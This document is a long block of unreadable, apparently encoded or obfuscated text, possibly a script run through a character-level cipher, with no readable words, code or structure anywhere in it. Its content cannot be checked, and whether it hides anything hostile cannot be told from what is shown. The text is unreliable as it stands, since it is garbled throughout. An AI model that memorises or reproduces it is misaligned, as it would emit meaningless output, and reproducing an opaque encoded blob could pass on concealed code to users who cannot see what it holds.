]]W	SFT[SO[QS EFRTLZZP[KVXM][PQ]Y\LY^SLZ5VYMIPPL`M`WPNJCCMIPPL`M`WPNJMIPPL`M`WPNJVXM][PQ]Y\L5555]E\X[]MJXRL^MM^F~}lo~kwMIPPL`M`WPNJIYXE	[YMIPPL`M`WPNJ5YPMZ^\W]E\X[]MJXRL^L\Z^\
WUU[KD5VY]]W	SFT[SO[QS	\Z^\
WUU[K\PQKVQJZ5VRLXYOW]]W	SFT[SO[QS
\Z^\
WUU[K555VYVRLXYOWVH`INEO^FN]EX	VRLXYOWEFRTLZZP[KY^SLZD5VRLXYOWEFRTLZZP[K	VXM][PQ]Y\LEFRTLZZP[K]Z]XIYZ[VH`INEO^FN]EXVRLXYOW5555VYEFRTLZZP[KVRLXYOWL]NY]EJ\QQ
ILGUVGO\Z^\
WUU[KVRLXYOW555B5B5UHM^ZPE]XUTT\^MM^F5555IYXE	[Y]Z]XIYZ[5Z	UTJZE^\ZQMY]Z]XIYZ[555OXV]]	[]Z]XIYZ[5555OFKLPH]	EFRTLZZP[KG`ZVR^	ZHGZUHM^ZPE]XUTT\5YPMZ^\WUHM^ZPE]XUTT\^L[ZNRP^YRR]OD5VYVXM][PQ]Y\L[ZNRP^YRR]OD5NNKZM`SOUHJYLELIV\Z[ZNRP^YRR]O	5L]NY]EJ\QQ
ILGUVGO[ZNRP^YRR]OVH`INEO^FN]EX	5B5B5YPMZ^\WOFKLPH]	^L[ZNRP^YRR]OD5VY]]W	SFT[SO[QS[ZNRP^YRR]OD5NNKZM`SOUHJYLELIV\Z[ZNRP^YRR]O	5VFSMLJMN\IFZNQ[ZNRP^YRR]O5555B5B5YPMZ^\WYHRUP\SU
UI^LPRKX\\`YZV^NKD5VYVH`INEO^FN]EXPRKX\\`YZV^NKCCVH`INEO^FN]EX	PRKX\\`YZV^NK\PQKVQJZ5VRLXYOW]]W	SFT[SO[QS
PRKX\\`YZV^NK5VY]]W	SFT[SO[QSVRLXYOWD5UKU]U]VQY[NJ`V[JMHEZQKGGTGGVRLXYOWVH`INEO^FN]EXEFRTLZZP[K5UKU]U]VQY[NJ`V[JMHEZQKGGTGGUKU]U]VQY[NJ`VXM][PQ]Y\LVH`INEO^FN]EX5VYEFRTLZZP[KUKU]U]VQY[NJ`UKU]U]VQY[NJ`VRLXYOWL]NY]EJ\QQ
ILGUVGOPRKX\\`YZV^NKUKU]U]VQY[NJ`5JQLZKUKU]U]VQY[NJ`5B5B5555VYVXM][PQ]Y\L
EFRTLZZP[K
]]W	SFT[SO[QS
VXM][PQ]Y\L
D5555TZFM^TM``H]JGIYSJP5VYTZFY^SLZD555`^I`RWE[W`
YVH`INEO^FN]EX
TZFH5VY`^I`RWE[W`
YD5]]W	SFT[SO[QS	`^I`RWE[W`
Y5VH`INEO^FN]EX
`^I`RWE[W`
Y5B5B5B5VYEFRTLZZP[K
]]W	SFT[SO[QS	D5NLHJ
V]\SHPLZOO]ZZSGMJW~}lo~kwEFRTLZZP[K	5[ZSZKZ`POKVPQNLHJ
V]\SH5555W`JYXG]LVH`INEO^FN]EXEFRTLZZP[K XZK`POKVPQ]]W	SFT[SO[QS^MM^F^MM^F5VYEFRTLZZP[KW`JYXG]LD5VYVLLZKW`JYXG]Ld]bVFSMLJMN\IFZNQW`JYXG]Ld]b5VYVLLZKW`JYXG]Ld]]W	SFT[SO[QSbVH`INEO^FN]EXW`JYXG]Ld]]W	SFT[SO[QSbD5YPMZ^\WW`JYXG]LdVH`INEO^FN]EXb^L`\VD555VYEFRTLZZP[K`\VVLLZK`\Vd]bVFSMLJMN\IFZNQ`\Vd]b5B5B5B5[ZSZKZ`POKVPQVH`INEO^FN]EX55[ZSZKZ`POKVPQVH`INEO^FN]EX5[ZSZKZ`POKVPQEFRTLZZP[K5[ZSZKZ`POKVPQVXM][PQ]Y\L
5[ZSZKZ`POKVPQEFRTLZZP[K
5[ZSZKZ`POKVPQVXM][PQ]Y\L	5[ZSZKZ`POKVPQEFRTLZZP[K5[ZSZKZ`POKVPQVXM][PQ]Y\L	55JQLZKW`JYXG]L`\V5B5hoyPQKsV]M^MFK^GPQPRFMZXVLKM^KVPQ55VY]]W	SFT[SO[QSEFRTLZZP[KD5[ZSZKZ`KM^QLVZQKVXM][PQ]Y\L	5[ZSZKZ`KM^QLVZQKVH`INEO^FN]EX5[ZSZKZ`KM^QLVZQK^LLM`XV

EVTLN5B5VY]]W	SFT[SO[QSVXM][PQ]Y\LD555HO`\SZ^M`L\WZ[JSZ[`WPPTVXM][PQ]Y\LY]ISKJM[NHO	
C
WZNMGKV\WNQXLY]ISKJM[NHO	a555HO`\SZ^M`L\WZ[JSZ[`WPPTVXM][PQ]Y\L5HO`\SZ^M`L\WZ[JSZ[`WPPTEQHRENHMIZ5555B5B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJEFRTLZZP[KSKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5B5B5YJQ\KVPQT^GGO[YPVZFKN
N^5D5KMFD55VY[ZYVQZ[EFRTLZZP[KMZKJMQY^SLZ5555IYXE	[YJF[NGLJR[\IKJY^5REPUTPJS\IYXE	[YVXM][PQ]Y\L5[INN^OUHUIEFVH`INEO^FN]EX
M	L]ZERIEFRTLZZP[K5OSWHU\SXQFGZEGGFQGIVMRH5VYOSWHU\SXQFGCCVH`INEO^FN]EXOSWHU\SXQFG	CCVH`INEO^FN]EXOSWHU\SXQFGG
ZZ[G^YCC]MXM\FR
]WN
KZE	OSWHU\SXQFGCCIE[
QM[VN\`]\E]JOSWHU\SXQFGMZKJMQY^SLZ5\JMMZQKEFRTLZZP[K
REPUTPJS\ VH`INEO^FN]EX
REPUTPJS\5VYEFRTLZZP[K\JMMZQKD5PTG]`[M\TJL[^FSJVH`INEO^FN]EXVH`INEO^FN]EX5MZKJMQY^SLZ5B5\JMMZQKUH`VLVJVW
UTUZ\JMMZQK5UI[
PUMKQFFQHX]T^EKEHX	P^Q^	HYKPLZOO]ZZSGMJW~}lo~kwVH`INEO^FN]EX
GG555LMNRX`JNQE	RTVH`INEO^FN]EX	UI[
PUMKQFFQ]]W	SFT[SO[QS	5555RWQGM^VH`INEO^FN]EXUI[
PUMKQFFQ]]W	SFT[SO[QS	5^[IOQUNRWPLZOO]ZZSGMJW~}lo~kwEFRTLZZP[K
5JIF	T
\Z^QE\IHUVVXM][PQ]Y\L	EFRTLZZP[K^[IOQUNRWVH`INEO^FN]EX\JMMZQK5JQFUN]YSUN
EFRTLZZP[KJIF	T
\Z^QE\IHUVEFRTLZZP[KY^SLZ5VY]]W	SFT[SO[QS\JMMZQKLMNRX`JNQE	RTY^SLZ]]W	SFT[SO[QS\JMMZQKRWQGM^Y^SLZJQFUN]YSUN
MZKJMQKMJZ5\JMMZQKEFRTLZZP[KEFRTLZZP[KJIF	T
\Z^QE\IHUV5VY]]W	SFT[SO[QS\JMMZQKD5PTG]`[M\TJL[^FSJVH`INEO^FN]EX]]W	SFT[SO[QS
	55MZKJMQY^SLZ5B5\	IVMTSYX`IGK^MSXUNEKNHLVK5VY\	IVMTSYX`IMZKJMQY^SLZ555\EMZXP
MXMS]]W	SFT[SO[QS
VH`INEO^FN]EX	VH`INEO^FN]EX	[INN^OUHUIEFLKMVQXOMUGES	[	RUIa	5ITVP\PO	TQ`YLR\U[GZ	OW`OZY5VH`INEO^FN]EX5^MM^F``lsjx````osjxvq`}~lz	````xj~m{`q~rz````izmlvpq``5^MM^F[INN^OUHUIEF\	IVMTSYX`I\EMZXP
MXMSHX]T^EKEHX	P^Q^	HYK5555VYITVP\PO	TD5VYVQKXZK`POKVPQ]]W	SFT[SO[QSPTG]`[M\TJL[^FSJVH`INEO^FN]EXEFRTLZZP[K5555MZKJMQY^SLZ5B55\JMMZQKUH`VLVJVW
UTUZ\JMMZQK5FI[FKVGKQ^XU	YVXM][PQ]Y\L]]W	SFT[SO[QS
ITVP\PO	T5PMGHU]KPSQGNVVH`INEO^FN]EX
\JMMZQK555VYPMGHU]KPSQGNVD5VYKWXL`VLW	YEYYWEQEFRTLZZP[KD555PTG]`[M\TJL[^FSJVH`INEO^FN]EXEFRTLZZP[K
	5MZKJMQY^SLZ5B55VYQ\`PJPK^
^EVREPUTPJS\\JMMZQKD5PTG]`[M\TJL[^FSJ]]W	SFT[SO[QSVH`INEO^FN]EX	5555MZKJMQY^SLZ5B5\NGIZRIFXOHEVVUMEFRTLZZP[K5BZSLZD5VYQ\`PJPK^
^EVREPUTPJS\DM`N[LGWJJKH[STOKFG\JM`N[LGWJJ
5PTG]`[M\TJL[^FSJ]]W	SFT[SO[QS]]W	SFT[SO[QS
55MZKJMQY^SLZ5B5B5IXVKZ
OWL`GWZS
[RRVOY`OM	O\JMMZQKLMNRX`JNQE	RTcQFI[FKVGKQ^XU	YcQRWQGM^5555VYL]NY]EJ\QQ
ILGUVGOREPUTPJS\IXVKZ
OWL`GWD5MZKJMQY^SLZ55B5VYPMGHU]KPSQGNVS^YTFWKYW`^REPUTPJS\5MZKJMQKMJZ5B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJ]]W	SFT[SO[QSSKQO
]K`5MZKJMQY^SLZ55B\^K\WzG\ZOKVPQSKQO
]K`D5MZKJMQY^SLZ5B5555B5555YJQ\KVPQYHRUP\SU
UI5D5MVE\IUEPWNQ[G`G^MM^F555VYVH`INEO^FN]EXVXM][PQ]Y\LMZKJMQMVE\IUEPWNQ[G`G5V[[``WXU]
[ZYVQZ[VH`INEO^FN]EX ho`|pqkzqk`{vm[ZYVQZ[]]W	SFT[SO[QS ~}lo~kw]]W	SFT[SO[QS
EFRTLZZP[K
55JOIQHGVG]VQLLKMVQXXZK`POKVPQEFRTLZZP[K
5VYJOIQHGVG]VQLMVE\IUEPWNQ[G`GdbV[[``WXU]
JOIQHGVG]VQLVH`INEO^FN]EX
5YHNGJ
L`NRSGWWLKMVQXXZK`POKVPQVXM][PQ]Y\L
555VYYHNGJ
L`NRSGWWYHNGJ
L`NRSGWWJOIQHGVG]VQLMVE\IUEPWNQ[G`GdbV[[``WXU]
YHNGJ
L`NRSGWW]]W	SFT[SO[QS
5555MZKJMQMVE\IUEPWNQ[G`G5B5YJQ\KVPQSV^HMR]
OM
QHHM5D5KMFD5VY[ZYVQZ[]]W	SFT[SO[QSCCEFRTLZZP[KVXM][PQ]Y\L

MZKJMQ5YPMZ^\WYHRUP\SU
UI^LVVL
XROFSWYD5WPLK]FKZPM[ZM555VGMX[W	`	VQJEHRKKYPFNI]Q]XVVH`INEO^FN]EX
	PLZOO]ZZSGMJWVVL
XROFSWY]]W	SFT[SO[QS5VY]]W	SFT[SO[QSVGMX[W	`	VQJE\PQKVQJZ5VY]]W	SFT[SO[QSVVL
XROFSWYVXM][PQ]Y\LVVL
XROFSWY\PQKVQJZ5IW	Z
GMT^VXM][PQ]Y\L
VGMX[W	`	VQJE5VYVH`INEO^FN]EXIW	Z
GMT^CCIW	Z
GMT^\PQKVQJZ555VYL]NY]EJ\QQ
ILGUVGOVVL
XROFSWYIW	Z
GMT^D5PTG]`[M\TJL[^FSJ]]W	SFT[SO[QS
VXM][PQ]Y\L
5JO[^KZ`POKVPQVH`INEO^FN]EX
EFRTLZZP[KVH`INEO^FN]EX5B5B5[VLO^K\W\PJQKRVQLTZK\W55B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJVXM][PQ]Y\L
SKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D555B5B5YJQ\KVPQ[]`LNEG
^N
G5D5555KMFD5VY[ZYVQZ[EFRTLZZP[K	MZKJMQY^SLZ555WKOLYZ^G[I[YHRUP\SU
UI5VYZROKFWKOLYZ^G[I[MZKJMQY^SLZ5[Z^FVXYWVX\VQKXZK`POKVPQEFRTLZZP[K	5VY[Z^FVXYWVX\VXM][PQ]Y\L[Z^FVXYWVX\G^[G	^\MZKJMQY^SLZ5UI[
PUMKQFFQHX]T^EKEHX	P^Q^	HYKPLZOO]ZZSGMJW~}lo~kwVH`INEO^FN]EX
G	G555LMNRX`JNQE	RT]]W	SFT[SO[QS	UI[
PUMKQFFQVXM][PQ]Y\L	5RWQGM^VH`INEO^FN]EX	UI[
PUMKQFFQ]]W	SFT[SO[QS	5\EMZXP
MXMS]]W	SFT[SO[QS	
VH`INEO^FN]EX		VH`INEO^FN]EX	~}lo~kwLKMVQXOMUGES	[	RUI5[INN^OUHUIEFEFRTLZZP[K
M	L]ZERIVXM][PQ]Y\L	5\	IVMTSYX`IGK^MSXUNEKNHLVK555VY\	IVMTSYX`IMZKJMQY^SLZ5KM	
	VNQSQ`YLR\U[GZ	OW`OZY5VXM][PQ]Y\L5^MM^F``lsjx````osjxvq`}~lz	````xj~m{`q~rz````izmlvpq``5^MM^F[INN^OUHUIEF\	IVMTSYX`I\EMZXP
MXMSHX]T^EKEHX	P^Q^	HYK55VYKM	
	VNQSD555VYVQKXZK`POKVPQ]]W	SFT[SO[QSPTG]`[M\TJL[^FSJ]]W	SFT[SO[QS
EFRTLZZP[K	5MZKJMQY^SLZ5B5KM	
	VNQSVH`INEO^FN]EX	VXM][PQ]Y\L
KM	
	VNQS5VY]]W	SFT[SO[QSKM	
	VNQSCCKM	
	VNQSMZKJMQY^SLZ5YPMZ^\WWKOLYZ^G[I[^LPRKX\\`YZV^NKD5VYVH`INEO^FN]EXPRKX\\`YZV^NK\PQKVQJZ5JPRY	KEWUPVH`INEO^FN]EXVXM][PQ]Y\L ]]W	SFT[SO[QSPRKX\\`YZV^NK\Y^SLZ5VYJPRY	KEWUPY^SLZVH`INEO^FN]EXVXM][PQ]Y\LYSP\TJPRY	KEWUPsp|t`zg5\JMMZQKEFRTLZZP[K
PRKX\\`YZV^NK5VYEFRTLZZP[K\JMMZQKD5PTG]`[M\TJL[^FSJEFRTLZZP[KEFRTLZZP[K5VYJPRY	KEWUPY^SLZD55VYVH`INEO^FN]EXVH`INEO^FN]EXYSP\TJPRY	KEWUPsp|t`jq5Y\SPLZJPRY	KEWUP5B5\PQKVQJZ5B5KMFD55VYVXM][PQ]Y\L
\JMMZQKG\Y\GZ[\JMMZQKUH`VLVJVW
UTUZ\JMMZQKZSZ]GWEH
H	C
QYH]^O^PF^ZSZ]GWEH
Ha5VY]]W	SFT[SO[QS\JMMZQKLMNRX`JNQE	RTY^SLZVH`INEO^FN]EX\JMMZQKRWQGM^Y^SLZMZKJMQKMJZ55VYEFRTLZZP[K	PRKX\\`YZV^NK\PQKVQJZ5555VGMX[W	`	VQJEHRKKYPFNI]Q]XVEFRTLZZP[KPLZOO]ZZSGMJWPRKX\\`YZV^NK	]]W	SFT[SO[QS
5555TFSQ[UUFPLZOO]ZZSGMJW~}lo~kwVXM][PQ]Y\L	5\JMMZQKV[JMHEZQKGGTGG\JMMZQKVH`INEO^FN]EXVXM][PQ]Y\L5\JMMZQKVH`INEO^FN]EXVH`INEO^FN]EX\JMMZQK5VY]]W	SFT[SO[QS\JMMZQKD55PTG]`[M\TJL[^FSJ]]W	SFT[SO[QS]]W	SFT[SO[QS]ITG^KOWXN]CFIT]\YWE]ITG^KOWXN]a555\PQKVQJZ5B5VY]]W	SFT[SO[QS\JMMZQKEFRTLZZP[KY^SLZCCEFRTLZZP[K\JMMZQKEFRTLZZP[KY^SLZD5]^]RLVZ]]W	SFT[SO[QSVGMX[W	`	VQJE VXM][PQ]Y\L
VGMX[W	`	VQJEY^SLZ5VY]]W	SFT[SO[QS]^]RLVZCC]^]RLVZDKGEHHI^SP
]PYEFGWTL`
KGEHHI^SP5PTG]`[M\TJL[^FSJ]]W	SFT[SO[QSVXM][PQ]Y\L
5\PQKVQJZ5B55\JMMZQK]^]RLVZ5JQLZK]^]RLVZ5B5H[^VME	I`UOMU	
OFN[V\JMMZQK5VYVXM][PQ]Y\LH[^VME	H[^VME	D55]PWN^Z]TTO\	EFRTLZZP[KVGMX[W	`	VQJE VXM][PQ]Y\L
VGMX[W	`	VQJEY^SLZ5VY]]W	SFT[SO[QS	]PWN^Z]TTO\	CC]PWN^Z]TTO\	H[^VME	L]NY]EJ\QQ
ILGUVGOVGMX[W	`	VQJEH[^VME	555JQLZK]PWN^Z]TTO\	5B5JQLZKH[^VME	5HVN	]XGUSQZRTEFRTLZZP[K	5VYEFRTLZZP[K
\JMMZQK]]W	SFT[SO[QS\JMMZQKEFRTLZZP[KY^SLZ]]W	SFT[SO[QS		EFRTLZZP[K\JMMZQKVH`INEO^FN]EX		D5HVN	]XGUSQZRT5B555[EWGYW[GQ]]W	SFT[SO[QS\JMMZQK cQ55OE]GMFTEP\[EWGYW[GQHVN	]XGUSQZRTLMNRX`JNQE	RTcQKM	
	VNQScQRWQGM^cQ5VYQ\`PJPK^
^EVPRKX\\`YZV^NK\JMMZQKD5YJSYVSSVQYZ^LV]SZ^YYVQZKFOZ555PTG]`[M\TJL[^FSJEFRTLZZP[KVXM][PQ]Y\L
55\PQKVQJZ5B55VYL]NY]EJ\QQ
ILGUVGOPRKX\\`YZV^NK\JMMZQKOE]GMFTEP\\PQKVQJZ5MZKJMQKMJZ5BYVQ^SSFD55VYJPRY	KEWUPY^SLZD5VYVH`INEO^FN]EXVXM][PQ]Y\LYSP\TJPRY	KEWUPsp|t`jq5Y\SPLZJPRY	KEWUP5B5B5B5MZKJMQY^SLZ5B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJVXM][PQ]Y\LSKQO
]K`5555MZKJMQY^SLZ5B\^K\WzG\ZOKVPQSKQO
]K`D5MZKJMQY^SLZ55B5B5YJQ\KVPQ`QYSNO	F	[KO

U5D555KMFD5555VY[ZYVQZ[]]W	SFT[SO[QS	MZKJMQ5VYERZ[YU	]IK\ERXH
M	L]ZERIMZKJMQ5IYXE	[YJF[NGLJR[\IKJY^5NYXYO	YWMMPLZOO]ZZSGMJW~}lo~kwVH`INEO^FN]EX	

	a]]W	SFT[SO[QS5[INN^OUHUIEF]]W	SFT[SO[QS
M	L]ZERIVH`INEO^FN]EX5OSWHU\SXQFGZEGGFQGIVMRH5VYOSWHU\SXQFGCCVH`INEO^FN]EXOSWHU\SXQFGD5PTG]`[M\TJL[^FSJVH`INEO^FN]EXVXM][PQ]Y\L5MZKJMQ555B5VYVH`INEO^FN]EX

VH`INEO^FN]EXMZKJMQ5MI\F]EROPHH^MM^F5IYXE	[YNYXYO	YWMM55IYXE	[Y]]W	SFT[SO[QSVH`INEO^FN]EX
VH`INEO^FN]EX	NYXYO	YWMM55SE^HQL^
[ZYVQZ[VH`INEO^FN]EX ho`|pqkzqk`{vm~}lo~kwVH`INEO^FN]EX
]]W	SFT[SO[QS
	5555VY]]W	SFT[SO[QSSE^HQL^
D5`I
RU[`	KLHSHJLJWQ
ZWLW^LNTJSE^HQL^
55VYVXM][PQ]Y\L`I
RU[`	KLHSHD5555YPMZ^\W`I
RU[`	KLHSH^LSKQO
]K`D5VLXMN]]GOSE^HQL^
SKQO
]K`5VYEFRTLZZP[KVLXMN]]GOEFRTLZZP[K	VLXMN]]GOD5MI\F]EROPHHdbVLXMN]]GONYXYO	YWMM5555]MZ^T5B5555B5VQKZMMJOKLKMJ\KJM^SKFOZ55B5B5VQUZ\KVIZ^[U^[^OKZM55YPMZ^\WMI\F]EROPHH^LS
WVMKS[ND5VYEFRTLZZP[KS
WVMKS[NVXM][PQ]Y\LS
WVMKS[NGYYGZD5YQIPHZ	FFVXM][PQ]Y\L55VYVH`INEO^FN]EX

YQIPHZ	FFD5UJMPKREZQZHYQIPHZ	FF5VYUJMPKREZPOZQS
WVMKS[NKMJZD5555UJMPKREZ\SPLZ5\PQKVQJZ5B5B5B5555MOTSTJ\L]]W	SFT[SO[QSS
WVMKS[N5VYEFRTLZZP[KMOTSTJ\L`QGTGLSFXUY^^[MOTSTJ\LKMJZ5YQIPHZ	FFEFRTLZZP[K555FFILR[]NF[[\`		MQ\[[WOJT`	\G	MOTSTJ\LVXM][PQ]Y\L555VYFFILR[]NF[[Y^SLZ\PQKVQJZ5``F`FMV	\LQZHYQIPHZ	FF5VY``F`FMV	\LPOZQFFILR[]NF[[YQIPHZ	FF|mz~kzCYQIPHZ	FFpizmhmvkzKMJZD5``F`FMV	\L^[[yMPRlKMVQX[INN^OUHUIEF[INN^OUHUIEFVH`INEO^FN]EXOSWHU\SXQFG5``F`FMV	\L\SPLZ5YNOSHRXH	GZQZHYQIPHZ	FF5VYYNOSHRXH	GZPOZQFFILR[]NF[[KMJZD5YNOSHRXH	GZ\SPLZ5VYWMSI
EU]HJ`TOFFILR[]NF[[S
WVMKS[NCCYPEJH	XHMVG^FFILR[]NF[[S
WVMKS[NVFSMLJMN\IFZNQFFILR[]NF[[D5\TWJQV`G\FXK[KS
WVMKS[NHWEGJ	FWZJVY555NNKZM`SOUHJYLELIV\ZS
WVMKS[N5555BZSLZD5holZMIZMlV[ZmZQ[ZM\PQLK^QKKVRZL\WZ[JSZM55555VFSMLJMN\IFZNQFFILR[]NF[[5B5^OOMPGVR^KZR^K\W55BZSLZD5VFSMLJMN\IFZNQFFILR[]NF[[5B5BZSLZD5VFSMLJMN\IFZNQFFILR[]NF[[5B5B5B\^K\WkWMPH^]SZSKQO
]K`D5555PTG]`[M\TJL[^FSJVH`INEO^FN]EX	
SKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5B5555B5YJQ\KVPQUFYTFE[GUXZMO5D5555KMFD555VYVH`INEO^FN]EXVXM][PQ]Y\LCCVH`INEO^FN]EXEFRTLZZP[KMZKJMQ5VY[ZYVQZ[VXM][PQ]Y\LMZKJMQ55\V^S`NLSVH`INEO^FN]EX5VYHO`QZGK`L\WZ[JSZ[\V^S`NLSD555HO`L\WZ[JSZ`ZIZQKVH`INEO^FN]EXVXM][PQ]Y\L\V^S`NLS5ZL\^OZ^Q^SFEZLZLNJVSVQZ^MLTVOSVLK55B555VYHO`QZGK`L\WZ[JSZ[VH`INEO^FN]EXD5HO`L\WZ[JSZ`ZIZQK]]W	SFT[SO[QS
]]W	SFT[SO[QSVH`INEO^FN]EX5B5\SPLZ[\PQK^VQZM55B\^K\WkWMPH^]SZSKQO
]K`DQNYJHSMLXOWE		]QNYJHSM5PTG]`[M\TJL[^FSJVXM][PQ]Y\L
SKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5B555B5555YJQ\KVPQU`OLTGJKTHXNV5D5KMFD5VY[ZYVQZ[EFRTLZZP[KMZKJMQ5^FP	PV^
H
PLZOO]ZZSGMJW~}lo~kwXa5EJXPHW\KRPF]QUZ^MM^F5VYVH`INEO^FN]EX]]W	SFT[SO[QS	EJXPHW\KRPF]QUZdbHRKKYPFNI]Q]XV5EJXPHW\KRPF]QUZdb~}lo~kwVH`INEO^FN]EX555VYVXM][PQ]Y\LVXM][PQ]Y\L
EJXPHW\KRPF]QUZdbJF[NGLJR[\IKJY^5YPMZ^\WEJXPHW\KRPF]QUZ^LRNPY	]^D5EJUS\L
WSEFRNPY	]^VXM][PQ]Y\L	^FP	PV^
H
5VYEFRTLZZP[KEJUS\L
WSEFVQKVXM][PQ]Y\LEJUS\L
WSEFEFRTLZZP[KMZKJMQ5B55YPMZ^\WEJXPHW\KRPF]QUZ^LRNPY	]^D5S`FSQZR
SJPJ`]RNPY	]^EFRTLZZP[K^FP	PV^
H
5VYEFRTLZZP[KS`FSQZR
SJPJ`]D5P
KJUGV[YFFMFVQKVXM][PQ]Y\LS`FSQZR
SJPJ`]5VYP
KJUGV[YFFMFEFRTLZZP[K		P
KJUGV[YFFMFEFRTLZZP[K\PQKVQJZ5VFSMLJMN\IFZNQS`FSQZR
SJPJ`]5B5H\
\H]QU]F^YXURNPY	]^VH`INEO^FN]EX	
^FP	PV^
H
VXM][PQ]Y\L5VYEFRTLZZP[KH\
\H]QU]F^YXUVQKVXM][PQ]Y\LH\
\H]QU]F^YXUD5UQEO\IVO	PRNPY	]^]]W	SFT[SO[QS	^FP	PV^
H
5UUP	V
P[NSVH`INEO^FN]EXUQEO\IVO	P ]]W	SFT[SO[QSLKMVQXEFRTLZZP[K
UQEO\IVO	P5VYUUP	V
P[NSVH`INEO^FN]EXVXM][PQ]Y\LR[
`YVSZH\
\H]QU]F^YXUUUP	V
P[NSD5VQ\SJ[ZH\
\H]QU]F^YXU5MZKJMQ5B5VYUUP	V
P[NSD5VFSMLJMN\IFZNQH\
\H]QU]F^YXU5B5JQLZKUQEO\IVO	PUUP	V
P[NS5B5B5JQLZKS`FSQZR
SJPJ`]P
KJUGV[YFFMF5VYVXM][PQ]Y\L]]W	SFT[SO[QS[ZSZKZ`KM^QLVZQK]]W	SFT[SO[QS
5SUUM^]SRHQMXS]N]555555B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJEFRTLZZP[K	SKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5B5B5YJQ\KVPQI[FSK		ZJXM5D5KMFD5VY[ZYVQZ[]]W	SFT[SO[QSMZKJMQ5H[UTRZFZS		VYXQJSS5[INN^OUHUIEFVH`INEO^FN]EX
M	L]ZERIVH`INEO^FN]EXOYP[XZMKXZ^SH		GTML`OUO`OYP[XZMKXZ^SH
5N]\KLNFOZM	L]ZERI5OSWHU\SXQFG5VYVH`INEO^FN]EXN]\KLNFOZ]]W	SFT[SO[QSN]\KLNFOZD5QIZHN
WR^UEYLKMVQXEFRTLZZP[K
N]\KLNFOZOKEOPHKI
PS[K`OEE
HXOKEOPHKI OKEOPHKIOKEOPHKI5HTVKY^Z
	RPEVXM][PQ]Y\LVXM][PQ]Y\L UH`VLVJVW
UTUZQIZHN
WR^UEYQIZHN
WR^UEY5VYVH`INEO^FN]EXHTVKY^Z
	RPEVH`INEO^FN]EXHTVKY^Z
	RPEIE[
QM[VN\`]\E]JHTVKY^Z
	RPEOSWHU\SXQFGHTVKY^Z
	RPE5JQLZKQIZHN
WR^UEYHTVKY^Z
	RPE5B5VYOSWHU\SXQFGD5NLHJ
V]\SHPLZOO]ZZSGMJW~}lo~kw]]W	SFT[SO[QS5\	IVMTSYX`IVH`INEO^FN]EXVH`INEO^FN]EX

 XZK`POKVPQNLHJ
V]\SH5VY\	IVMTSYX`ICC]]W	SFT[SO[QS\	IVMTSYX`I


MZKJMQLSZ`RE]WCHE
^PRTNFM
LLSZ`RE]Wa5OSWHU\SXQFGNOH]K	EOPVXVUSGIMPEFRTLZZP[K\	IVMTSYX`I5VYOSWHU\SXQFGCC]]W	SFT[SO[QSOSWHU\SXQFG
MZKJMQ555VYIE[
QM[VN\`]\E]JOSWHU\SXQFGD5PTG]`[M\TJL[^FSJEFRTLZZP[K]]W	SFT[SO[QS5MZKJMQ5B5B5IYXE	[YJF[NGLJR[\IKJY^5XRRKX[HMJGT
IYXE	[YVH`INEO^FN]EX

[INN^OUHUIEF5RXZN\X]L]UXLXRRKX[HMJGT
[INN^OUHUIEFEFRTLZZP[K5VYEFRTLZZP[KXRRKX[HMJGT
`QGTGLSFXUY^^[XRRKX[HMJGT

KMJZ5YF	XM`MRZ^]IK`UVH`INEO^FN]EXRXZN\X]L]UXL LKMVQXVXM][PQ]Y\L
RXZN\X]L]UXL55U[SIVJT]Y]QKY^SLZ5VYYF	XM`MRZ^]IK`UVXM][PQ]Y\LVXM][PQ]Y\LEFRTLZZP[K		YF	XM`MRZ^]IK`U
GV`GUTIS	IZMLVPQ`\PRO^MZGV`GUTIS	dbHX]T^EKEHX	P^Q^	HYKU[SIVJT]Y]QKKMJZ5JQLZKGV`GUTIS	5VYU[SIVJT]Y]QKYF	XM`MRZ^]IK`UCC]]W	SFT[SO[QS	UH`VLVJVW
UTUZYF	XM`MRZ^]IK`U]]W	SFT[SO[QS	OSWHU\SXQFGD5VYL]NY]EJ\QQ
ILGUVGORXZN\X]L]UXLKYRNPPYTJF^ZT
PQHOSWHU\SXQFGD5NNKZM`SOUHJYLELIV\ZRXZN\X]L]UXL5ZUST[\KTSRXZN\X]L]UXL5S^YTFWKYW`^RXZN\X]L]UXL5B5B5JQLZKYF	XM`MRZ^]IK`UU[SIVJT]Y]QK5VYVXM][PQ]Y\LEFRTLZZP[K

VXM][PQ]Y\L]]W	SFT[SO[QS		DFO\YT
KK	^HPHJPTLI\HIWWMTRFO\YT
KK	^HPH5MNI]S
GE\\P[INN^OUHUIEF[INN^OUHUIEFVH`INEO^FN]EX5555GW^EHK\Z`LFUXZK`POKVPQVH`INEO^FN]EX^MM^F555VYVXM][PQ]Y\LGW^EHK\Z`LFUGW^EHK\Z`LFU^MM^F5555VYVH`INEO^FN]EX
MNI]S
GE\\PGW^EHK\Z`LFUKMJZD5GW^EHK\Z`LFUdbMNI]S
GE\\P5JO[^KZ`POKVPQ]]W	SFT[SO[QS	]]W	SFT[SO[QSGW^EHK\Z`LFU555B5B5ZZX[ILR\WVG]UJ`\^PQZPIIFTLPWKQ5VYVXM][PQ]Y\LZZX[ILR\WVG]UCC`QGTGLSFXUY^^[ZZX[ILR\WVG]U	KMJZD5N
^XYKOYZZX[ILR\WVG]U[INN^OUHUIEF]]W	SFT[SO[QS5QRXQV^[]`VXM][PQ]Y\LN
^XYKOY LKMVQXVXM][PQ]Y\L
N
^XYKOY5F\VFS]WOY`Y^SLZ5VYQRXQV^[]`VXM][PQ]Y\LVXM][PQ]Y\LVXM][PQ]Y\LQRXQV^[]`	^^	LSG[]]NIZMLVPQ`\PRO^MZ^^	LSG[]]NdbHX]T^EKEHX	P^Q^	HYKF\VFS]WOY`KMJZ5JQLZK^^	LSG[]]N555VYF\VFS]WOY`QRXQV^[]`CC]]W	SFT[SO[QS	UH`VLVJVW
UTUZQRXQV^[]`]]W	SFT[SO[QSOSWHU\SXQFGDRQQXFTEI^C	^
OVHTML
